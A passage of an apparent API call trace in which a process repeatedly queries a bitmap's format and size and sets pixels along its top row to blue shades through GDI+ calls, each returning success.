x=193, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.777] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.777] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.777] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.777] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=195, y=0, color=0xffffffffff4169e1) returned 0x0 [0158.777] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.777] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.777] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.777] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=200, y=0, color=0xffffffffff5f9ea0) returned 0x0 [0158.777] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.777] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.777] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.777] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=201, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.777] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.777] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.777] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.777] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=205, y=0, color=0xffffffffff0000cd) returned 0x0 [0158.777] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.777] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.777] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.777] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=206, y=0, color=0xffffffffff00008b) returned 0x0 [0158.777] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.777] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.777] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.778] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=207, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.778] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.778] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.778] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.778] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=208, y=0, color=0xffffffffff5f9ea0) returned 0x0 [0158.778] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.778] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.778] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.778] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=210, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.778] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.778] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.778] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.778] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=224, y=0, color=0xffffffffff6a5acd) returned 0x0 [0158.778] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.778] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.778] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.778] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=226, y=0, color=0xffffffffff5f9ea0) returned 0x0 [0158.778] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.778] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.778] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.778] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=227, y=0, color=0xffffffffff00008b) returned 0x0 [0158.778] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.778] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.778] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.778] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=230, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.779] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.779] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.779] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.779] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=234, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.779] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.779] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.779] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.779] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=237, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.779] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.779] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.779] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.779] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=238, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.779] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.779] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.779] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.779] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=239, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.779] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.779] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.779] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.779] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=241, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.779] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.779] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.779] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.780] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=251, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.780] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.780] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.780] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.780] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=260, y=0, color=0xffffffffff6a5acd) returned 0x0 [0158.780] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.780] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.780] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.780] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=266, y=0, color=0xffffffffff00008b) returned 0x0 [0158.780] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.780] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.780] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.780] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=270, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.780] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.780] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.780] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.780] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=272, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.780] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.780] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.780] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.780] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=280, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.780] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.780] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.780] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.780] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=283, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.780] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.780] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.780] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.780] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=285, y=0, color=0xffffffffff5f9ea0) returned 0x0 [0158.781] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.781] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.781] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.781] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=287, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.781] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.781] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.781] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.781] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=288, y=0, color=0xffffffffff483d8b) returned 0x0 [0158.781] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.781] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.781] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.781] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=294, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.781] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.781] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.781] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.781] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=302, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.781] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.781] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.781] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.781] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=303, y=0, color=0xffffffffff5f9ea0) returned 0x0 [0158.781] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.781] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.781] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.781] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=308, y=0, color=0xffffffffff6a5acd) returned 0x0 [0158.781] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.781] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.781] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.781] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=309, y=0, color=0xffffffffff5f9ea0) returned 0x0 [0158.781] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.781] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.782] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.782] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=317, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.782] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.782] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.782] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.782] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=321, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.782] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.782] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.782] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.782] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=331, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.782] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.782] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.782] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.782] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=340, y=0, color=0xffffffffff00008b) returned 0x0 [0158.782] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.782] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.782] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.782] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=342, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.782] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.782] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.782] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.782] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=347, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.782] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.782] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.782] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.782] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=354, y=0, color=0xffffffffff5f9ea0) returned 0x0 [0158.782] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.782] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.782] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.783] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=357, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.783] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.783] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.783] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.783] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=370, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.783] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.783] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.783] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.783] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=373, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.783] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.783] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.783] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.783] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=375, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.783] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.783] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.783] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.783] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=378, y=0, color=0xffffffffff6495ed) returned 0x0 [0158.783] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.783] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.783] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.783] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=382, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.783] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.783] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.783] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.783] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=384, y=0, color=0xffffffffff483d8b) returned 0x0 [0158.783] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.783] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.783] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.783] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=390, y=0, color=0xffffffffff5f9ea0) returned 0x0 [0158.783] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.784] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.784] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.784] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=391, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.784] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.784] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.784] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.784] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=399, y=0, color=0xffffffffff0000cd) returned 0x0 [0158.784] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.784] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.784] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.784] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=402, y=0, color=0xffffffffff6495ed) returned 0x0 [0158.784] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.784] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.784] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.784] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=403, y=0, color=0xffffffffff5f9ea0) returned 0x0 [0158.784] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.784] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.784] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.784] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=404, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.784] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.784] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.784] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.784] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=405, y=0, color=0xffffffffff5f9ea0) returned 0x0 [0158.784] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.784] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.784] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.784] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=406, y=0, color=0xffffffffff483d8b) returned 0x0 [0158.784] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.784] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.784] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.785] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=408, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.785] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.785] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.785] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.785] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=412, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.785] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.785] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.785] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.785] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=414, y=0, color=0xffffffffff0000cd) returned 0x0 [0158.785] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.785] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.785] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.785] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=416, y=0, color=0xffffffffff4169e1) returned 0x0 [0158.785] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.785] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.785] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.785] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=417, y=0, color=0xffffffffff483d8b) returned 0x0 [0158.785] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.785] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.785] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.785] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=420, y=0, color=0xffffffffff6495ed) returned 0x0 [0158.785] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.785] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.785] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.785] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=424, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.785] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.785] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.785] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.785] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=425, y=0, color=0xffffffffff00008b) returned 0x0 [0158.786] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.786] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.786] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.786] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=426, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.786] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.786] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.786] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.786] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=431, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.786] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.786] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.786] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.786] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=433, y=0, color=0xffffffffff0000cd) returned 0x0 [0158.786] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.786] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.786] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.786] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=434, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.786] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.786] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.786] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.786] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=436, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.786] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.786] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.786] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.786] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=437, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.786] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.786] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.786] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.786] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=439, y=0, color=0xffffffffff0000cd) returned 0x0 [0158.786] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.786] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.787] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.787] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=441, y=0, color=0xffffffffff0000cd) returned 0x0 [0158.787] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.787] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.787] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.787] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=442, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.787] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.787] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.787] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.787] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=446, y=0, color=0xffffffffff4169e1) returned 0x0 [0158.787] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.787] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.787] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.787] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=449, y=0, color=0xffffffffff4169e1) returned 0x0 [0158.787] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.787] 